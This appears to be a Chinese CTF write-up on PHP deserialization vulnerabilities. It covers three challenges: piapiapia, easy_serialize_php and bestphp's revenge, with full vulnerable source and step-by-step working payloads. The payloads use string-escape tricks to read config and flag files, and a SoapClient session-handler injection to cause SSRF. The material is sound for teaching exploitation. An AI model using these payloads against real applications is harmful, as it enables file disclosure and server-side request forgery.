类的private或protected属性在序列化后存在不可见字符,不可见字符不在可使用字符范围内(如若可用则需要将序列化后的字符串进行编码),我们可以手动修改protected属性为public属性,硬核过is_valid

image-20201204164749136.png

image-20201204164810942.png

0CTF 2016 piapiapia

发现www.zip,获得源码

//index.php
<?php
	require_once('class.php');
	if($_SESSION['username']) {
		header('Location: profile.php');
		exit;
	}
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');

		if($user->login($username, $password)) {
			$_SESSION['username'] = $username;
			header('Location: profile.php');
			exit;	
		}
		else {
			die('Invalid user name or password');
		}
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Login</h3>
			<label>Username:</label>
			<input type="text" name="username" style="height:30px"class="span3"/>
			<label>Password:</label>
			<input type="password" name="password" style="height:30px" class="span3">

			<button type="submit" class="btn btn-primary">LOGIN</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

//profile.php
<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
   <title>Profile</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
		<h3>Hi <?php echo $nickname;?></h3>
		<label>Phone: <?php echo $phone;?></label>
		<label>Email: <?php echo $email;?></label>
	</div>
</body>
</html>
<?php
	}
?>

//register.php
<?php
	require_once('class.php');
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');
		if(!$user->is_exists($username)) {
			$user->register($username, $password);
			echo 'Register OK!<a href="index.php">Please Login</a>';		
		}
		else {
			die('User name Already Exists');
		}
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Register</h3>
			<label>Username:</label>
			<input type="text" name="username" style="height:30px"class="span3"/>
			<label>Password:</label>
			<input type="password" name="password" style="height:30px" class="span3">

			<button type="submit" class="btn btn-primary">REGISTER</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

//update.php
<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>UPDATE</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Please Update Your Profile</h3>
			<label>Phone:</label>
			<input type="text" name="phone" style="height:30px"class="span3"/>
			<label>Email:</label>
			<input type="text" name="email" style="height:30px"class="span3"/>
			<label>Nickname:</label>
			<input type="text" name="nickname" style="height:30px" class="span3">
			<label for="file">Photo:</label>
			<input type="file" name="photo" style="height:30px"class="span3"/>
			<button type="submit" class="btn btn-primary">UPDATE</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

//class.php
<?php
require('config.php');

class user extends mysql{
	private $table = 'users';

	public function is_exists($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		return parent::select($this->table, $where);
	}
	public function register($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$key_list = Array('username', 'password');
		$value_list = Array($username, md5($password));
		return parent::insert($this->table, $key_list, $value_list);
	}
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
			return true;
		} else {
			return false;
		}
	}
	public function show_profile($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
	public function __tostring() {
		return __class__;
	}
}

class mysql {
	private $link = null;

	public function connect($config) {
		$this->link = mysql_connect(
			$config['hostname'],
			$config['username'], 
			$config['password']
		);
		mysql_select_db($config['database']);
		mysql_query("SET sql_mode='strict_all_tables'");

		return $this->link;
	}

	public function select($table, $where, $ret = '*') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}

	public function insert($table, $key_list, $value_list) {
		$key = implode(',', $key_list);
		$value = '\'' . implode('\',\'', $value_list) . '\''; 
		$sql = "INSERT INTO $table ($key) VALUES ($value)";
		return mysql_query($sql);
	}

	public function update($table, $key, $value, $where) {
		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
		return mysql_query($sql);
	}

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
	public function __tostring() {
		return __class__;
	}
}
session_start();
$user = new user();
$user->connect($config);
//config.php
<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>
//考点: 序列化字符串字符增加的反序列化

代码审计过后,发现序列化(update.php)与反序列化(profile.php)的点

image-20201204151953054.png

image-20201204151934353.png

过滤函数filter(class.php)如下

image-20201204155641997.png

在profile.php第16行代码中,可以看到有读取文件的操作,结合前面的序列化,可以知道这里可以逃逸photo,控制photo为想要读取的文件名再访问profile.php文件即可。

phone与email的限制很严,无法绕过,可以看见在nickname参数中我们能够输入一切我们想输入的字符(";:等).只要能够使得后半段if判断通过,即可。

strlen函数在判断数组时会返回null,而null在与整型数字判断时会返回false,故构造nickname为数组即可绕过nickname的if判断

image-20201204160307923.png

payload构造

正常序列化结果如下
$profile['phone'] = '12345678911';
$profile['email'] = 'admin@admin.com';
$profile['nickname'] = ['wuhusihai'];
$profile['photo'] = 'upload/123456';

a:4:{s:5:"phone";s:11:"12345678911";s:5:"email";s:15:"admin@admin.com";s:8:"nickname";a:1:{i:0;s:9:"wuhusihai";}s:5:"photo";s:13:"upload/123456";}

明确需要逃逸的字符串为";}s:5:"photo";s:10:"config.php";},长度为34,故需要34个敏感词where来完成逃逸
构造payload再序列化查看结果
$profile['phone'] = '12345678911';
$profile['email'] = 'admin@admin.com';
$profile['nickname'] = ['wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'];
$profile['photo'] = 'upload/123456';

a:4:{s:5:"phone";s:11:"12345678911";s:5:"email";s:15:"admin@admin.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:13:"upload/123456";}

PS:可通过校验hacker字符串的长度是否为204来判断是否正确,也可在本地进行反序列化,看能否正常反序列化

image-20201204161216184.png

提交payload

image-20201204161316382.png

访问profile.php

image-20201204161341774.png

解码

image-20201204161407037.png

安洵杯 2019 easy_serialize_php

源码

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!-> 查看phpinfo后可知flag文件d0g3_f1ag.php
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 
//考点: 序列化字符串字符减少的反序列化,extract变量覆盖

通过extract可覆盖全局变量$_SESSION进一步可控制序列化结果中的user与function,两处可控并且filter会减少序列化字符串字符数,进一步逃逸对象

payload为GET-> f=show_image POST-> _SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

image-20201204145752374.png

payload构造思路
首先构造需要逃逸的字符串
";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";},查看序列化后的字符串为
a:3:{s:4:"user";s:0:"";s:8:"function";s:70:"";s:8:"function";s:10:"show_image";s:3:"img";s:16:"L2V0Yy9wYXNzd2Q=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
查看需要吞没的字符串长度";s:8:"function";s:70:",长度为23,根据filter函数可知,关键词php可吞没3个字符,flag可吞没4个字符,即构造flag*5+php ->
flagflagflagflagflagphp
二者结合可得
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

bestphp's revenge

<?php

highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
//考点: php原生类反序列化

访问flag.php,发现

image-20201214142511580.png

only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

虽然call_user_func各个参数皆可控,但由于第二个参数类型不可控(定死为数组),无法做到任意代码执行。我们需要通过ssrf使服务器访问到flag.php即可获得flag.在没有可见的ssrf利用处时,可考虑php自身的ssrf,也即是php原生类SoapClient.如下

<?php

$a = new SoapClient(null,array('location'=>'http://vps/flag.php','uri'=>'http://vps/flag.php'));
$a->azhe();
?>

image-20201214143145996.png

所以,现在如何使程序去SSRF成为首要问题。

我们知道,php在保存session之时,会将session进行序列化,而在使用session时则会进行反序列化,可控的session值导致了序列化的内容可控。

结合php序列化引擎的知识可知,默认序列化引擎为php,该方式序列化后的结果为key|序列化结果,如下

image-20201214143927184.png

而php_serialize引擎存储的结果则仅为序列化结果,如下

image-20201214144049780.png

在php引擎中,|之前的内容会被当作session的键,|后的内容会在执行反序列化操作后作为session键对应的值,比如name|s:6:"4ut15m";里的name就成为了$_SESSION['name'],而s:6:"4ut15m";在执行反序列化操作后则变成了字符串4ut15m,二者结合即是$_SESSION['name']="4ut15m"

因为call_user_func的参数可控,故我们可以调用函数ini_set或者session_start来修改序列化引擎。一系列操作如下

先生成所需的序列化字符串

image-20201214144711258.png

需要在序列化结果前添加一个|,也即是|O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

尝试修改题目序列化引擎,ini_set无法处理数组,故用session_start("serialize_handler")

image-20201214145354713.png

再访问一次该页面,则变为了默认引擎(php),可以看到序列化结果键已经不再是name,值也不再是|O:10:"SoapClient":3:{s:3:"uri";s:25:"http://127.0.0.1/flag.php";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;},而是SoapClient对象

image-20201214145656279.png

接下来,想要使该SoapClient对象能够发起请求,就需要调用该对象的__call方法.

$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');这一行代码在执行后,$a的值就成为了array(SoapClient对象,'welcome_to_the_lctf2018')

我们知道,call_user_func函数的第一个参数为数组时,它会将数组的第一个值作为类,第二个值作为方法去调用该类的方法,如下

image-20201214150455757.png

__call魔术方法会在调用不存在方法的时候自动调用,故,如果能构造到call_user_func($a),则可以达到执行SoapClient->welcome_to_the_lctf2018()的效果,由于SoapClient不存在welcome_to_the_lctf2018方法,那么这里就会自动调用__call方法,如下

image-20201214150932801.png

在bp中重放攻击一次,得到session

image-20201214151017047.png

修改session并刷新

image-20201214151135579.png

参考文献

1.N1BOOK反序列化部分

# 漏洞分析 # php反序列化漏洞 # php代码审计 # 反序列化例题
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录